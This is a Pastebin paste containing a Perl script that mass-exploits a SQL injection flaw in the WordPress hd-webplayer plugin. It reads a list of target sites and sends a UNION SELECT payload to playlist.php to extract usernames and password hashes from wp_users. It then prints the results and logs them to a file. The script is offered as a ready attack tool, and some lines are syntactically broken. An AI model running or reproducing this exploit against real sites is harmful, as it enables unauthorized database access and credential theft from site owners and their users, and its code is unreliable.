Advertisement
Jemb0t_IR3eng

WP hd-webplayer Plug SQL

Apr 17th, 2019
824
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.44 KB | None | 0 0
  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Cookies;
  4. # Coded By M-A
  5. # Greet's : My Brother Mootaz & Boy & MMxM & Rab3oun & All Sec4ever Menber
  6. # Perl Lov3r :)
  7. my $datestring = localtime();
  8. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
  9.  
  10. sub randomagent {
  11. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  12. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  13. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  14. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  15. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  16. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  17. );
  18. my $random = $array[rand @array];
  19. return($random);
  20. }
  21. flag();
  22. print "[+] Enter List Of Target : ";
  23. chomp (my $list=<>);
  24. print "[+] Started : $datestring\n";
  25. open(my $arq,'<'.$list) || die($!);
  26. my @site = <$arq>;
  27. @site = grep { !/^$/ } @site;
  28. close($arq);
  29. print "[".($#site+1)."] URL to test upload\n\n";
  30. my $i;
  31. foreach my $web(@site){$i++;
  32. chomp($web);
  33. if($web !~ /^(http|https):\/\//){
  34. $web = 'http://'.$web;
  35. }
  36. fuck($web);#exploiting website :)
  37. }
  38. sub fuck{
  39. my $useragent = randomagent();#Get a Random User Agent
  40. my $cookie_jar = HTTP::Cookies->new;
  41. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },cookie_jar => $cookie_jar);#Https websites accept
  42. $ua->timeout(10);
  43. $ua->agent($useragent);
  44. my $vul = "/wp-content/plugins/hd-webplayer/playlist.php?videoid=1+union+select+1,2,concat(user_login,0x3a,user_pass),4,5,6,7,8,9,10,11+from+wp_users--";
  45. my $target = $_[0].$vul;
  46. my $response = $ua->get($target);
  47. if ($response->is_success) {
  48. my @ff = split(/<\/token>/,$response->content);
  49. my @zz = split(/<title>/,$ff[1]);
  50. my @rr = split(/<\/title>/,$zz[1]);
  51. my @found = split (/:/,$rr[0]);
  52. print "\nWebsite : $_[0]\n";
  53. print "Username : $found[0]\n";
  54. print "Password : $found[1]\n";
  55. print "-" * 30;
  56. save ("log.txt",$found[0] : $found[1]);
  57. }
  58.  
  59. }
  60. sub flag {
  61. print "\n[+] WP hd-webplayer Plug SQL \n[*] Coder => M-A \n\n\n";
  62. }
  63. sub save {
  64. my ($file,$item) = @_;
  65. open(SAVE,">>".$file);
  66. print SAVE $item."\n";
  67. close(SAVE);
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement